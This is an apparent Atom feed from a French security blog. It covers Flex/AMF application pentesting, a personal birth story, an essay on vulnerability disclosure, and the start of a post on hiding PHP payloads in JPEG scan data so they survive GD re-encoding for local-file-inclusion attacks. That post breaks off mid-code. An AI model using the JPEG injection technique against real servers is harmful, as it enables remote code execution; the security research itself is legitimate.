&lt;p&gt;Pour le proxy web, j'ai opté pour &lt;a class="reference external" href="http://www.charlesproxy.com/"&gt;Charles Web Proxy&lt;/a&gt;. Il s'agit encore une fois d'un outil pour Windows, mais vu que de toute façon j'utilise déjà SWFDecompiler ... Charles Web Proxy permet de faire ce que tout bon proxy web transparent doit normalement savoir faire: espionner les requêtes, autoriser des points d'arrêt et surtout être capable de décoder et d'encoder les données selon plusieurs formats, dont l'AMF. On pourrait aussi employer &lt;a class="reference external" href="http://www.portswigger.net/burp/proxy.html"&gt;Burp&lt;/a&gt;, qui possède la même fonctionnalité.&lt;/p&gt;
&lt;p&gt;Pour terminer, la bibliothèque Python PyAMF permet de coder rapidement des clients AMFRPC en Python, très pratique dans notre cas.&lt;/p&gt;
&lt;p&gt;Muni de ces outils, il est alors aisé d'intercepter les appels AMFRPC, de les analyser et de comprendre le fonctionnement global du service distant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Flex, services et méthodes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les applications Flex reposent sur des &lt;em&gt;endpoints&lt;/em&gt; dans lesquels des services sont exposés, qui implémentent des méthodes que l'application Flash peut appeler à distance. Il s'agit ici de ce qu'on appelle couramment un système d'appel de procédure distante, ou Remote Procedure Call (RPC). Ce système de &lt;em&gt;service&lt;/em&gt; est très courant, et permet d'offrir plusieurs services sur un seul point de connexion (ou &lt;em&gt;endpoint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Du point de vue d'un pentester, un service Flex est une grosse boîte noire possédant des services qui implémentent des méthodes, qu'il va falloir découvrir. Pour cela, plusieurs solutions sont envisageables:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;la décompilation du code et l'analyse de celui-ci&lt;/li&gt;
&lt;li&gt;l'analyse de flux via un proxy web spécialisé (en l'occurrence Charles Web Proxy)&lt;/li&gt;
&lt;li&gt;la découverte via énumération des services et méthodes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le dernier point est un peu plus ardu, car nécessite le développement d'un client AMFRPC dédié. Les deux premières méthodes sont donc préférables. J'ai ainsi débuté mon analyse par une décompilation du fichier SWF contenant le coeur de l'application. Et les ennuis ont commencés: &lt;em&gt;SWFDecompiler&lt;/em&gt; plante lâchement durant l'analyse, et impossible donc d'obtenir le code de l'application. J'ai fait de nombreuses tentatives, avec différents logiciels, sans succès. Il semblerait que &lt;em&gt;SWFDecompiler&lt;/em&gt; ait montré ses limites. Cela signifie-t-il qu'il est impossible d'extraire quoique ce soit de ce fichier ? Que nenni (© Tixlegeek)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1. Flasm + strings + grep = FTW (plan B)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;N'ayant pas la possibilité de désassembler l'application, le plan B consiste à extraire directement du fichier les chaînes de caractères et à essayer de déduire les services des informations s'y trouvant. Avant toute chose, on fait appel à la commande file pour identifier le type d'application:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ file ZOMFG.swf
ZOMFG.swf: Macromedia Flash data (compressed), version 10
&lt;/pre&gt;
&lt;p&gt;Il s'agit d'une application Flash &amp;gt;=10 compressée. Autrement dit, rien ne sert de grepper directement le contenu du fichier, c'est compressé. Il nous faut donc décompresser ce fichier, grâce à &lt;em&gt;flasm&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ flasm -x ZOMFG.swf
ZOMFG.swf successfully decompressed, 7958828 bytes
$ file ZOMFG.swf
ZOMFG.swf: Macromedia Flash data, version 10
&lt;/pre&gt;
&lt;p&gt;Il est ensuite trivial d'extraire les chaînes de caractères avec &lt;em&gt;strings&lt;/em&gt;, et de grepper le résultat à la recherche d'éléments intéressants:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ strings ZOMFG.swf &amp;gt; ZOMFG.txt
$ grep ZOMFG.txt -e &amp;quot;some keywords here&amp;quot;
&lt;/pre&gt;
&lt;p&gt;Il est aussi possible d'utiliser &lt;em&gt;vim&lt;/em&gt; et ses recherches par motif, ou autre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.2. Analyse de flux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'analyse de flux est relativement simple à réaliser grâce à Charles Web Proxy: celui-ci parse vraiment bien les messages AMF mais n'affiche pas tout (comme par exemple certaines listes), cependant cela reste un compagnon de choix ! Cette analyse de flux permet de mettre à jour un certain nombres de services, ainsi que de méthodes.&lt;/p&gt;
&lt;p&gt;Il suffit d'utiliser l'application, et de noter les différents services et les méthodes associées. De plus, il peut être intéressant de repérer les différents messages et les champs associés, afin d'envisager des attaques par rejeu par la suite.&lt;/p&gt;
&lt;img alt="" src="/images/flex-sample-1.jpg" /&gt;
&lt;p&gt;Le champ &lt;em&gt;destination&lt;/em&gt; contient la référence au &lt;em&gt;service&lt;/em&gt;, ici appelé &amp;quot;SMC&amp;quot;. Le champ &lt;em&gt;operation&lt;/em&gt; décrit la méthode à appeler, en l'occurrence &amp;quot;ExecuteServerCall&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;{2.3. Enumération des {services&lt;/em&gt; et des méthodes associées}}&lt;/p&gt;
&lt;p&gt;Cette dernière possibilité repose sur les résultats produits par les deux étapes précédentes: à l'aide de la première analyse, on établit une liste potentielle de services et de noms de méthodes, puis à l'aide d'un client AMFRPC maison, on teste la validité des services puis on détermine les méthodes existantes à partir des services identifiés.&lt;/p&gt;
&lt;p&gt;Cette technique permet de déterminer de manière plus efficace les services et les méthodes associées, et permet de trouver dans certains cas des éléments non-présents dans l'application. J'ai développé dans le cadre de ce test d'application un outil semblable à &lt;a class="reference external" href="http://deblaze-tool.appspot.com/"&gt;DeBlaze&lt;/a&gt;, mais permettant de tester un service Flex distant (et aussi beaucoup moins poussé). Cet outil repose sur la bibliothèque Python &lt;a class="reference external" href="http://www.pyamf.org/index.html"&gt;PyAMF&lt;/a&gt;, et tente de déterminer les services offerts par un &lt;em&gt;endpoint&lt;/em&gt; donné. Cela suppose que l'on connaisse le nom de cet &lt;em&gt;endpoint&lt;/em&gt;, qui peut être trouvé via les deux méthodes précédentes.&lt;/p&gt;
&lt;p&gt;Je ne peux pas dévoiler le code source de cet outil dans ce post (ooooh!), car il est soumis à des règles relativement strictes de confidentialité, propres à Sysdream. Cependant, l'algorithme de base est le suivant (aaaah !):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Pour chaque nom de service probable:
    resultat = tenter un appel à la méthode Trololololo
    Si pas d'erreur d'invocation:
        Affiche 'Service: ' + service
        Pour chaque méthode probable:
            resultat =appeler  la méthode 'methode' du service
            Si aucune erreur d'invocation ni message de méthode non trouvée:
                  Affiche '- Methode:' + methode
&lt;/pre&gt;
&lt;p&gt;De cette manière, on teste l'ensemble des services possibles et des méthodes probables. On peut aussi envisager des combinaisons de nom, des changement de casse, etc ... A noter que la référence à l'&lt;em&gt;endpoint&lt;/em&gt; est obligatoire dans les &lt;em&gt;headers&lt;/em&gt; Flex.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Sessions Flex&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors de mes tests, j'ai été rapidement rejeté par le service Flex à cause des sessions. En effet, les applications Flex font appel à une gestion de session en Java (donc un cookie JSESSIONID par défaut), et il faut gérer ce cookie dans le client AMF pour pouvoir maintenir une session correcte. De même, l'envoi des requêtes via des &amp;quot;messages&amp;quot; AMF est basé sur une numérotation qui est continuellement incrémentée. Celle-ci doit aussi être maintenue par notre client AMF.&lt;/p&gt;
&lt;p&gt;Lors des tests, et tout particulièrement lors des tests fonctionnels, les sessions sont primordiales et bien souvent mises de côté par les outils qui ne font pour la plupart que des tests unitaires. Ce qui impose dans bien des cas l'implémentation d'un client Flex maison prenant en charge ces sessions, quand il n'y a pas d'autres éléments de cookie à prendre en compte, bien sûr.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les tests d'applications Flex se rapprochent fortement des tests de services web, car au fond le système Flex n'est rien d'autre qu'un service web basé sur AMF (au lieu des services SOAP que l'on retrouve souvent). Sans les possibilités de découverte des services et méthodes offertes par WSDL. Je pense avoir fait le tour des principaux soucis rencontrés durant le test de ce type d'application, même si le cas évoqué ici était un brin récalcitrant. D'ailleurs à ce jour, je n'ai pas trouvé de logiciel de décompilation permettant de décompiler ce satané SWF. Si quelqu'un a une idée (ou une révélation divine), me contacter via twitter ou via gmail.&lt;/p&gt;
</content><category term="Sécu"/><category term="désassemblage"/><category term="ethical hacking"/><category term="webservice"/><category term="sécurité"/><category term="Flash"/></entry><entry><title>Le jour où je suis devenu papa</title><link href="https://virtualabs.fr/humeur/Le-jour-ou-je-suis-devenu-papa" rel="alternate"/><published>2012-07-21T16:00:00+02:00</published><updated>2012-07-21T16:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-07-21:/humeur/Le-jour-ou-je-suis-devenu-papa</id><summary type="html">&lt;p&gt;Ca faisait bien presque neuf mois que Mme virtu était enceinte, presque neuf mois de préparation, et à chaque fois je me disais que j'avais le temps, que ça arriverait plus tard. On avait fait pas mal d'aller-retours à la maternité, tout plein d'examens et un suivi complet, franchement c'était …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ca faisait bien presque neuf mois que Mme virtu était enceinte, presque neuf mois de préparation, et à chaque fois je me disais que j'avais le temps, que ça arriverait plus tard. On avait fait pas mal d'aller-retours à la maternité, tout plein d'examens et un suivi complet, franchement c'était impeccable. J'ai aussi appris à hacker le système de monitoring, car bon, je n'ai pas pu m'en empêcher.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kezako le monitoring ?&lt;/strong&gt;&lt;/p&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;Le système de monitoring, c'est ce merveilleux appareil que toutes les femmes enceintes connaissent, un super truc fabriqué par Philips dans mon cas, qui possède plusieurs capteurs permettant de surveiller l'activité cardiaque de bébé, ainsi que l'activité des contractions et la tension de maman. Ce genre d'appareil, mais en plus rustique avec une sortie papier. .. image:: /images/monito-bb.jpg&lt;/dt&gt;
&lt;dd&gt;&lt;table class="first last docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;alt:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Selon le placement du capteur destiné à écouter les battements du cœur de bébé, l'appareil détecte plus ou moins bien et lève une alerte quand il ne détecte plus de battements. Cela peut être dû à des mouvements de bébé, ou à une mauvaise fixation du capteur. Dans mon cas, bébé bougeait pas mal et donc au bout de dix minutes on a eu droit au désagréables &amp;quot;bips&amp;quot; de la machine. Obligé d'appeler une sage-femme, qui appuie sur deux boutons et règle ça en deux temps trois mouvements. Mais cela a repris cinq minutes après, ce qui commençait à m'agacer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hacking de monitoring, à la main siouplait&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le gros avantage de cet appareil, c'est qu'il possède de bons haut-parleurs qui diffusent le son des battements du cœur de bébé, et donc que j'ai pu bien entendre le rythme de ce petit cœur (entre 135 et 145 bpm pour un petit bout dans le ventre de sa maman). Pour rappel, les ventricules du cœur subissent une systole (scindée en trois temps distincts) et une diastole, ce qui provoque ce rythme très particulier qu'est celui cœur. Pour plus d'information, &lt;a class="reference external" href="http://fr.wikipedia.org/wiki/Systole"&gt;Wikipedia pourra vous renseigner mieux que moi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour m'amuser (car oui, pendant le monitoring on s'ennuie à mourir, même avec un smartphone dans les mains), j'ai essayé de reproduire à l'oreille le même rythme, en tapotant avec deux doigts sur le ventre de la maman et en essayant de retrouver le rythme des battements cardiaques. Le système étant basé que sur un capteur de son, il est facile de le tromper. J'y étais presque arrivé, le rythme s'étant de nouveau affiché à l'écran, mais mes premières tentatives n'ont pas forcément été fructueuses: le système détectait un battement de 77bpm, ce qui est loin de la normale. Et donc les alarmes ont recommencé (diable !). Ceci dit, je suis sûr qu'il y a moyen de reproduire fidèlement le bon battement avec un bon coup de main et un brin d'oreille musicale (et de sens du rythme). Pour le coup, ça a agacé la future maman qui n'a pas pu s'enpêcher de dire qu'il fallait que je touche à tout. Ce qui n'était pas faux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La nuit la plus longue&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Après cette drôle tentative de hack de système médical, les choses se sont accélérées et la maman est entrée en salle de travail. C'en était parti pour une dizaine d'heures d'attente et d'angoisse, à la rassurer et à essayer de dormir un peu. A ce moment, je me disais encore que j'avais un peu de répit, jusqu'à ce que la sage-femme entre en trombe dans la pièce en disant que c'était le moment, qu'il fallait y aller. Et le petit bout arriva. Quoiqu'on en dise, c'est un des rares moments où l'on sent que l'on ne maîtrise rien, mais la magie opère. La petite geekette était là, déjà toute curieuse avec ses yeux presque ouverts.&lt;/p&gt;
&lt;p&gt;De longues heures d'attente pour un résultat somme toute époustouflant. On ne sait pas vraiment ce que c'est avant que ça arrive, et c'est çe qui fait en partie la magie du moment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L'après&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme vous vous en doutez, cette naissance aura un impact sur les écrits de ce site, et d'autant plus sur leur fréquence. Cela a déjà commencé avec ce post qui s'éloigne un peu du hack (quoique ...), mais bon, cela doit être du au fait qu'en tant que nouveau père je suis fier de ma geekette, et souhaite le dire au monde entier. Il faut avouer tout demême qu'Internet est un super moyen pour cela ! Promis, je vous épargnerai les posts personnels par la suite.&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>La difficile publication de vulnérabilité</title><link href="https://virtualabs.fr/humeur/La-difficile-publication-de" rel="alternate"/><published>2012-06-07T08:00:00+02:00</published><updated>2012-06-07T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-06-07:/humeur/La-difficile-publication-de</id><summary type="html">&lt;p&gt;La philosophie du hacking implique une curiosité constante, et donc le fait que l'on mette notre nez un peu partout.  C'est grâce à cela que des problèmes voire même des vulnérabilités sont identifiés, et résolus. Le problème, car il y a problème, réside dans la difficile communication et le fait …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La philosophie du hacking implique une curiosité constante, et donc le fait que l'on mette notre nez un peu partout.  C'est grâce à cela que des problèmes voire même des vulnérabilités sont identifiés, et résolus. Le problème, car il y a problème, réside dans la difficile communication et le fait que l'on fasse une très bonne cible en faisant part d'une trouvaille.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La curiosité est un vilain défaut&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tout le monde le sait. C'est pas bien. Mais il est des personnes qui ne peuvent s'empêcher de se poser des questions, légitimes ou non. Ce n'est pas (encore) une maladie, mais c'est ce qui motive certaines personnes. Dont moi. Et je dois avouer que la plupart du temps, c'est assez payant. Cette curiosité est le moteur essentiel de ce blog, de mes outils, etc ... Tout vient de questions que n'importe qui (enfin, je suppose que n'importe qui se les pose) pourrait se poser, et de la réflexion qui s'ensuit.&lt;/p&gt;
&lt;p&gt;Malheureusement (sic), cette curiosité pousse des fois à tester ou vérifier des faits, à la limite de la légalité. Ce qui permet de cerner correctement un problème et de le reporter ou d'alerter. Et c'est lorsqu'on alerte, que l'on prévient, que les choses se corsent. Car dans certains cas de figure, la question d'où part une analyse ou une réflexion peut être considérée comme inopportune voire comme une action offensive. Alors qu'il s'agissait de pure curiosité, sans animosité aucune. Mais certaines personnes ne voient pas cela d'un bon œil, car le fait d'alerter ou de reporter peut nuire à leur image (ou celle de leur entreprise, ou administration) et je comprends tout à fait le besoin de se couvrir. Il est vrai qu'en France on a cette aversion naturelle contre les hackers (favorisée par les médias), et d'autant plus pour ceux qui publient des choses qui fâchent ou ennuient.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La nécessité de transparence ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il est évident que la publication, la diffusion, le fait d'alerter sur une vulnérabilité ou un problème identifié ne doit pas être fait n'importe comment. Certains préfèrent l'anonymat, et dévoilent à coup de &lt;em&gt;pastebin&lt;/em&gt; des fuites d'informations, ou des vulnérabilités originales. S'ensuit généralement une tentative d'identification de la source, qui des fois aboutit après de fastidieuses recherches. Mais le fait de publier sous couvert d'anonymat vous place directement dans la mauvaise catégorie: pourquoi vous cachez-vous, si vous n'avez rien à vous reprocher ?&lt;/p&gt;
&lt;p&gt;A contrario, beaucoup d'entre-nous pensent que la transparence est le meilleur atout. Nous nous permettons de publier des alertes, de reporter des problèmes ou des erreurs &lt;em&gt;en toute bonne foi&lt;/em&gt;, sans nous cacher forcément derrière un pseudonyme (bien qu'on puisse en avoir un) et revendiquer la trouvaille. Si jamais quelqu'un est froissé, ou ennuyé par une publication, l'auteur de celle-ci est identifiable et joignable. De fait, annoncer sur Twitter ou par email sans masquer son identité est gage de sérieux, ou de grande folie. Malheureusement, lorsque les choses se gâtent, la seconde option est préférée.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Heuu ... à quand une prise de conscience ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;De suite, on tape sur la personne qui a identifié le problème. Vous annoncez sur Twitter que vous avez identifié une vulnérabilité dans un produit sans donner trop de détails ? Vous dévoilez un fichier planqué au fin fond du web et contenant des informations critiques ? Vous avez identifié un problème ou une anomalie et communiquez dessus au monde entier ? &lt;em&gt;You're doing it wrong&lt;/em&gt;. Et même si l'envie vous prend de le transmettre par email, l'issue est globalement la même: l'annonceur est fautif. Victime de sa curiosité. Et peut-être de sa volonté d'alerter et de faire connaître sa trouvaille. On tire sur le messager, meme si je dois avouer que dans certains cas il n'est pas forcément tout blanc.&lt;/p&gt;
&lt;p&gt;La problématique est ancienne: comment dévoiler une vulnérabilité/anomalie/faille en toute bonne foi, sans se cacher, et sans risquer les foudres des personnes concernées ? Quid du &lt;em&gt;responsible disclosure&lt;/em&gt; ? C'est un débat qui dure, bien qu'en France il soit déjà plié, j'en ai bien peur. Par expérience, j'ai tendance à dire que lorsque l'on tente de dévoiler ou d'alerter, on devient une cible (que cela soit justifié ou non, là n'est pas la question). Certes, nous pronons le hacking &amp;quot;éthique&amp;quot;, et cette volonté de transparence et de communication fait partie de cette éthique. Mais sincèrement, il est plus risqué de communiquer sur une vulnérabilité que de se taire et de la garder pour soi. Beaucoup en ont fait l'expérience: Guillermito &lt;strong&gt;[1]&lt;/strong&gt;, Damien Bancal &lt;strong&gt;[2]&lt;/strong&gt; par exemple.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Alors, comment dévoiler/communiquer ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le constat est triste: soit on dévoile et on risque les sanctions prévues aux différents articles de la loi française (pour rappel, les articles 323-1 à 323-7 &lt;strong&gt;[3]&lt;/strong&gt;, avec des peines allant de 2 ans d'emprisonnement et 30 000€ d'amende à 5 ans d'emprisonnement et 75 000€ d'amende), bien que de bonne foi, soit on se tait et les choses ne bougent pas. J'avoue que cette vision est pessimiste, mais sincèrement je ne vois pas comment on pourrait éviter cela. Triste constat, disais-je.&lt;/p&gt;
&lt;p&gt;Allons-nous devoir attendre que les responsables sécurité arrêtent de faire la sourde oreille et tentent de sauver leur place sans assumer les problèmes qui se posent ? Faut-il encore diaboliser Internet, l'informatique et le hacking en général, ainsi que les personnes compétentes en France ? L'ANSSI a ouvert la voie (du moins on ose le croire), en faisant appel à la culture hacker (il n'y a qu'à voir leur wallpaper &lt;strong&gt;`4]&lt;/strong&gt;), en recrutant massivement et en le faisant savoir à différentes conférences sécurité prisées des hackers (non, pas de troll sur l'AN^W^WSSTIC). A qui le tour ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Références&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[1]&lt;/strong&gt; [L'affaire Guillermito &amp;lt;&lt;a class="reference external" href="http://guillermito2.net/archives/2004_12_28.html"&gt;http://guillermito2.net/archives/2004_12_28.html&lt;/a&gt;&amp;gt;`_&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`2]&lt;/strong&gt; [Damien Bancal (Zataz) vs le FTP anonyme &amp;lt;&lt;a class="reference external" href="http://www.pcinpact.com/news/48753-zataz-faille-securite-trou-signalement.htm"&gt;http://www.pcinpact.com/news/48753-zataz-faille-securite-trou-signalement.htm&lt;/a&gt;&amp;gt;`_&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`3]&lt;/strong&gt; [Code pénal, Livre III, Titre III, Chapitre III: Des atteintes aux systèmes de traitement automatisés de données &amp;lt;&lt;a class="reference external" href="http://www.legifrance.gouv.fr/affichCode.do;jsessionid=DBA449F582FD48DF11068D44A409B79B.tpdjo07v_3?idSectionTA=LEGISCTA000006149839&amp;amp;cidTexte=LEGITEXT000006070719&amp;amp;dateTexte=20120510"&gt;http://www.legifrance.gouv.fr/affichCode.do;jsessionid=DBA449F582FD48DF11068D44A409B79B.tpdjo07v_3?idSectionTA=LEGISCTA000006149839&amp;amp;cidTexte=LEGITEXT000006070719&amp;amp;dateTexte=20120510&lt;/a&gt;&amp;gt;`_&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`4]&lt;/strong&gt; [Wallpaper ANSSI &amp;lt;&lt;a class="reference external" href="http://www.ssi.gouv.fr/IMG/png/wallpaper-anssi-2560x1920.png"&gt;http://www.ssi.gouv.fr/IMG/png/wallpaper-anssi-2560x1920.png&lt;/a&gt;&amp;gt;`_&lt;/p&gt;
</content><category term="Humeur"/><category term="ethical hacking"/><category term="sécurité"/></entry><entry><title>Bulletproof JPEGs</title><link href="https://virtualabs.fr/secu/Nasty-bulletproof-Jpegs-l" rel="alternate"/><published>2012-04-09T22:22:05+02:00</published><updated>2012-04-09T22:22:05+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-04-09:/secu/Nasty-bulletproof-Jpegs-l</id><summary type="html">&lt;p&gt;Certainement que, comme moi un de ces jours où l'on a le cerveau patraque, vous vous êtes retrouvés face à une vulnérabilité permettant une inclusion de fichier local sans avoir identifié de moyen d'envoyer (ou de créer) sur le serveur distant un fichier contenant du code actif... Et ce n'est …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Certainement que, comme moi un de ces jours où l'on a le cerveau patraque, vous vous êtes retrouvés face à une vulnérabilité permettant une inclusion de fichier local sans avoir identifié de moyen d'envoyer (ou de créer) sur le serveur distant un fichier contenant du code actif... Et ce n'est pas faute d'avoir essayé d'injecter dans le fichier de session, voire même dans les logs ou les images uploadées via un formulaire ! Mais rien n'y fait. Même ce satané formulaire d'upload écrit en PHP et utilisant la bibliothèque GD pour décoder et écrire ensuite sur disque les images qui lui sont envoyées nous empêche d'obtenir un remote shell. Damned, we're doomed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quelques fuites d'informations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est vrai que d'habitude, l'envoi d'une image au format JPEG par exemple avec un commentaire paramétré avec Gimp fait l'affaire, &lt;em&gt;en dernier recours&lt;/em&gt;. Seulement dans mon cas, ce n'était pas possible, la bibliothèque GD étant utilisée pour décoder et écrire ensuite le fichier image sur disque: celle-ci a la fâcheuse manie de remplacer tout commentaire existant et d'y coller le sien:&lt;/p&gt;
&lt;img alt="" src="/images/gd-comment.png" /&gt;
&lt;p&gt;Pour le coup, cette particularité est très intéressante: la qualité utilisée pour stocker l'image est dévoilée, en l'occurrence il s'agit d'une qualité de 99 (celle par défaut étant de 75 environ). On sait aussi que l'image a bien été générée par la bibliothèque GD. Bon, c'est pas folichon, mais ca peut aider.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Découverte du format de fichier JPEG&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le site distant n'acceptant que les images au format JPEG, j'ai donc décidé de mettre les mains dans le cambouis, et de voir comment est structuré ce format de fichier. L'objectif principal étant d'arriver à trouver une zone dans laquelle on peut écrire mais qui n'est pas supprimée par cette satanée bibliothèque. Je suis donc parti à la chasse aux sources, et j'en ai trouvé plusieurs:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://class.ee.iastate.edu/ee528/Reading%20material/JPEG_File_Format.pdf"&gt;http://class.ee.iastate.edu/ee528/Reading%20material/JPEG_File_Format.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.xbdev.net/image_formats/jpeg/tut_jpg/jpeg_file_layout.php"&gt;http://www.xbdev.net/image_formats/jpeg/tut_jpg/jpeg_file_layout.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le format de fichier JPEG (Joint Photographic Expert Group) est un format de stockage d'image qui emploie une compression avec perte, basée sur une conversion d'une disposition de pixels en répartition fréquentielle (grosso modo). Le problème de ce format de fichier, c'est que la configuration des pixels composant l'image n'est pas écrite telle quelle dans le fichier, contrairement aux images dites &lt;em&gt;raster&lt;/em&gt; (comme le format BMP de Microsoft, ou le format GIF), et cela pose des soucis. En particulier quand on cherche à insérer un bout de code PHP pour exploiter convenablement une LFI.&lt;/p&gt;
&lt;p&gt;De plus, le format de fichier est assez particulier, l'ensemble des informations étant réparties dans des sections, définies par des marqueurs. Un marqueur débute toujours par l'octet de valeur 255 (0xFF), et contient un code indiquant son rôle. Ainsi, le marqueur ayant pour code 0xD8 marque le début de l'image (Start of Image, ou SOI), et celui ayant pour code 0xD9 la fin de l'image (EOI). D'autres marqueurs sont aussi définis, dont celui définissant un commentaire, 0xFE. Je vous renvoie aux quelques liens donnés précédemment pour de plus amples informations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mais alors, où écrire dans ce format de fichier ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est toute la question. Il ne peut y avoir qu'un champ de commentaire dans un fichier JPEG, et de toute façon nous avons vu que celui-ci était écrasé par la bibliothèque GD lors de la sauvegarde. Le format de fichier JPEG autorise aussi des marqueurs spécifiques aux applications (les fameux APPX), mais encore une fois ceux-ci ne sont pas pris en compte par GD. Il ne nous reste pas d'autre choix que de tenter une insertion dans les données stockées dans le fichier, servant à la reconstruction de l'image.&lt;/p&gt;
&lt;p&gt;En théorie, il suffit de localiser la section SOS (Start of Scan, ayant pour marqueur 0xDA), de trouver les données compressées qui la suivent et de remplacer les premiers octets avec notre payload PHP. Oui, en théorie c'est censé fonctionner. Seulement en pratique, notre payload PHP va être interprété comme une donnée compressée et servir ensuite à générer une image composée de pixels que nous ne maîtrisons pas. Une fois recompressée par la bibliothèque GD, rien ne nous garantit que notre payload PHP sera conservé. L'insertion idéale consisterait à injecter à la place des données permettant de reconstituer les pixels notre payload PHP, et lorsque GD décode puis encode l'image, que notre payload soit conservé et écrit sur disque. Dans le cas où le fichier ne transite pas par la bibliothèque GD, celui-ci contient tout de même notre payload et fonctionnera. Ainsi, nous serions à même de construire une image Jpeg contenant du code PHP malveillant, et résistante aux transformations induites par la compression réalisée par la bibliothèque GD !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Création d'une image Jpeg &amp;quot;bulletproof&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour pouvoir créer ces merveilleuses images, j'ai tout d'abord codé en Python le code réalisant l'injection. Pour effectuer celle-ci, il suffit de rechercher la séquence d'octet 0xFF 0xDA (correspondant à la section Start of Scan), puis de lire les deux octets qui suivent (contenant la taille de la section stockée sur 2 octets en big-endian), afin de trouver l'endroit où les données compressées sont écrites. On recherche ensuite à partir de cet emplacement le marqueur de fin d'image (0xFF 0xD9), et les données situées entre les deux correspondent aux données compressées définissant le contenu de l'image (enfin, une partie pour être précis, mais là n'est pas la question).&lt;/p&gt;
&lt;p&gt;Il est ensuite trivial de remplacer les quelques octets de début par notre payload. Notez que dans le code présent j'ai prévu un décalage variable, j'y reviendrai plus tard. Voici le code de cette fonction:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;insertPayload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_in&lt;/span&gt;
    &lt;span class="c1"&gt;# look for &amp;#39;FF DA&amp;#39; (SOS)&lt;/span&gt;
    &lt;span class="n"&gt;sos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xFF\xDA&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
